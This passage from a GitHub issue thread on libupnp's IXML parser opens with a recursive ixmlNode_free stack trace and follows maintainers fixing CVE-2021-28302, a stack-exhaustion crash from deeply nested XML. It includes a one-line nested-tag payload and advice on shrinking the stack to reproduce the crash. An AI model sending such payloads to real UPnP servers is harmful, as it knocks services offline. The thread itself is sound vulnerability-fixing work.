221 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
222 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
223 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
224 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
225 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
226 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
227 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
228 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
229 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
230 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
231 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
232 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
233 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
234 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
235 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
236 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
237 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
238 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
239 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
240 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
241 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
242 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
243 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
244 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
245 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
246 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
247 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
248 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
249 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
250 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
251 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
252 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
253 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

```
254 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
255 pc 0000372d  /system/lib/libixml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

xzjpgithub commented on Mar 11, 2021 — Author

I only tested it on version 1.12.1， however, the ixmlNode_free() in 1.12.1 and the ixmlNode_free() in the latest version remain unchanged.

carnil commented on Mar 12, 2021

CVE-2021-28302 appears to have been assigned to this issue.

mrjimenez commented on Mar 12, 2021 — Collaborator

Hi **@xzjpgithub**

Looks serious indeed.

IXML has been around for quite a while, as this report suggests, the code is not very secure.

A proper fix should either detect that the has not been closed before and reject the DOM.

I think we have discussed this issue before, but maybe it is time to return to it. Shouldn't we replace IXML? Personally I am not a fan of this code. It is a separate library inside libupnp. Parsers are tricky, and even more are the recursive implementations of them. Does anyone know a nice substitute?

As always, patches are welcome.

xzjpgithub commented on Mar 14, 2021 — Author

hi, may be you can try tinyxml2 , https://github.com/leethomason/tinyxml2

mrjimenez commented on Mar 14, 2021 — Collaborator

> hi, may be you can try tinyxml2 , https://github.com/leethomason/tinyxml2

Looks very nice, indeed, just two files and we're done! But it is C++ and libupnp is C. We could start requiring C++ and compile the whole project with it, but I am not quite sure if the embedded world would happily agree with that.

mrjimenez mentioned this issue on Mar 15, 2021

Using classes and objects in the library code #248

Closed

leo-lb commented on Apr 2, 2021

Hello!

We are looking forward to patching this issue in GNU Guix, any update about this?

Thanks,
Léo

mrjimenez commented on Apr 2, 2021 • edited — Collaborator

Still not, but we have not forgotten.

It turns out that Tinyxml2 does not support XML namespaces, and we need it.

So we will need a quick fix to the issue instead of putting Tinyxml2 inside.

leo-lb commented on Apr 2, 2021

@mrjimenez I see thank you, no rush, I'll receive a notification from here when there is progress, thank you :-)

👍 1

mrjimenez commented on Apr 2, 2021 — Collaborator

I have just tried it on my desktop, the server does not crash.

Maybe it is a problem with the size of the document. What should we do? Seems like we can't blindly read the XML. Or else we get subject to this kind of attack

mrjimenez commented on Apr 4, 2021 — Collaborator

Hi folks,

To make it more crash prone, I did

```
<Anomaly>""" + "<a>"*100000000 + """</Anomaly>""" + """
```

And the server did not crash.

Anyway, **@xzjpgithub** , I did an implementation of a non-recursive ixmlNode_free() here #306 , which unfortunately is still leaking memory, but is a start. Could you try with this version and see if the server still crashes?

If anyone would like to give me some help there revising the code, I would appreciate.

mrjimenez commented on Apr 5, 2021 — Collaborator

Hi **@xzjpgithub** and **@leo-lb** ,

The leak has been resolved and the new ixmlDocument_free() has been committed. Since I have never been able to reproduce the crash, and since this new version of the function is non-recursive, I would like a test feedback from you to close this issue and CVE-2021-28302.

Regards,
Marcelo.

xzjpgithub commented on Apr 5, 2021 — Author

oh, sorry for long time no responsing. The more small size of the stack, the more the payload cause to a crash. May be it's easily to reproduce the crash if you use "ulimit -s 1024"(default value is 8192(KB))

mrjimenez commented on Apr 5, 2021 — Collaborator

Ok, good suggestion. But could you test with the latest version of the library? The function ixmlNode_free() is no longer recursive, so we would like to make sure that the problem is gone under your test conditions.

xzjpgithub commented on Apr 6, 2021 — Author

```
I had told my colleagues to upgrade it to the lasted version and they will test it after upgrading. If there are any results, I'll  feedback immediately.It could be two days or
even more.
```

👍 1

Vollstrecker commented on Jan 6 — Member

@xzjpgithub: What's up with that?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants